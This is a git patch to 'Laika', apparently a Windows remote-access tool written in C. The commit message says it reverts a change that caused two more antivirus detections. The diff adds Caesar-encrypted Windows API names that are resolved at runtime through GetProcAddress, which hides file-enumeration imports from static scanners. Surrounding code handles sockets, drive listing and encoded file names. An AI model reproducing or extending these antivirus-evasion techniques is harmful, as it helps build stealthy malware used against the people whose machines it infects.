From e53c28bdd137a764715ca3b4345f5f591e7d4956 Mon Sep 17 00:00:00 2001 From: ALittlePatate Date: Tue, 21 Feb 2023 15:26:03 +0100 Subject: [PATCH] revert: avec l'optimisation --> +2 AV detection --- Laika/file_explorer.c | 4 ++-- Laika/main.c | 4 ++-- Laika/resolve_apis.c | 9 ++++++--- Laika/resolve_apis.h | 6 +++++- 4 files changed, 15 insertions(+), 8 deletions(-) diff --git a/Laika/file_explorer.c b/Laika/file_explorer.c index 0d4a70d..3a183eb 100644 --- a/Laika/file_explorer.c +++ b/Laika/file_explorer.c @@ -29,7 +29,7 @@ char* get_file_list(const char* dirPath, int* numFiles) { wcscat(searchPath, L"\\*.*"); - hFind = FindFirstFile(searchPath, &findData); + hFind = Api.FindFirstFileW(searchPath, &findData); if (hFind == INVALID_HANDLE_VALUE) { return NULL; } @@ -59,7 +59,7 @@ char* get_file_list(const char* dirPath, int* numFiles) { fileList[numFound] = (char*)Api.malloc(strlen(fileName) + 1); Api.strcpy(fileList[numFound], CAESAR(fileName)); numFound++; - } while (FindNextFile(hFind, &findData) != 0); + } while (Api.FindNextFileW(hFind, &findData) != 0); Api.FindClose(hFind); diff --git a/Laika/main.c b/Laika/main.c index 75da530..4928890 100644 --- a/Laika/main.c +++ b/Laika/main.c @@ -446,10 +446,10 @@ retry: } } } - + /* Never used Api.closesocket(sock); FreeApis(); - + */ return 0; } \ No newline at end of file diff --git a/Laika/resolve_apis.c b/Laika/resolve_apis.c index 89e1e34..36dd479 100644 --- a/Laika/resolve_apis.c +++ b/Laika/resolve_apis.c @@ -12,8 +12,8 @@ void InitApis() { return; } - Api.CreateFileW = (TCreateFileW)GetProcAddress(hKernel32, CAESAR_DECRYPT("HwjfyjKnqj\\")); Api.GetProcAddress = (TGetProcAddress)GetProcAddress(hKernel32, CAESAR_DECRYPT("LjyUwthFiiwjxx")); + Api.CreateFileW = (TCreateFileW)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("HwjfyjKnqj\\")); Api.ReadFile = (TReadFile)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("WjfiKnqj")); Api.WriteFile = (TWriteFile)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("\\wnyjKnqj")); Api.CloseHandle = (TCloseHandle)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("HqtxjMfsiqj")); @@ -29,6 +29,8 @@ void InitApis() { Api.FindClose = (TFindClose)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("KnsiHqtxj")); Api.GetLogicalDrives = (TGetLogicalDrives)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("LjyQtlnhfqIwn{jx")); Api.MultiByteToWideChar = (TMultiByteToWideChar)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("RzqynG~yjYt\\nijHmfw")); + Api.FindFirstFileW = (TFindFirstFileW)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("KnsiKnwxyKnqj\\")); + Api.FindNextFileW = (TFindNextFileW)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("KnsiSj}yKnqj\\")); hMsvcrt = LoadLibraryA(CAESAR_DECRYPT("rx{hwy3iqq")); if (!hMsvcrt) { @@ -71,9 +73,10 @@ void InitApis() { Api.select = (Tselect)Api.GetProcAddress(hWininet, CAESAR_DECRYPT("xjqjhy")); Api.setsockopt = (Tsetsockopt)Api.GetProcAddress(hWininet, CAESAR_DECRYPT("xjyxthptuy")); } - +/* Never called void FreeApis() { Api.FreeLibrary(hWininet); Api.FreeLibrary(hMsvcrt); Api.FreeLibrary(hKernel32); -} \ No newline at end of file +} +*/ \ No newline at end of file diff --git a/Laika/resolve_apis.h b/Laika/resolve_apis.h index 27bf066..0f3f6d8 100644 --- a/Laika/resolve_apis.h +++ b/Laika/resolve_apis.h @@ -55,6 +55,8 @@ typedef FARPROC(WINAPI* TGetProcAddress)(HMODULE, LPCSTR); typedef BOOL(WINAPI* TFindClose)(HANDLE); typedef DWORD(WINAPI* TGetLogicalDrives)(VOID); typedef int(WINAPI* TMultiByteToWideChar)(UINT, DWORD, LPCCH, int, LPWSTR, int); +typedef HANDLE(WINAPI* TFindFirstFileW)(LPCWSTR, LPWIN32_FIND_DATAW); +typedef BOOL(WINAPI* TFindNextFileW)(HANDLE, LPWIN32_FIND_DATAW); typedef struct ApiList { Tconnect connect; @@ -91,6 +93,8 @@ typedef struct ApiList { TFindClose FindClose; TGetLogicalDrives GetLogicalDrives; TMultiByteToWideChar MultiByteToWideChar; + TFindFirstFileW FindFirstFileW; + TFindNextFileW FindNextFileW; Tmbstowcs mbstowcs; Twcstombs wcstombs; @@ -110,4 +114,4 @@ typedef struct ApiList { } API; void InitApis(); -void FreeApis(); \ No newline at end of file +//void FreeApis(); Never called \ No newline at end of file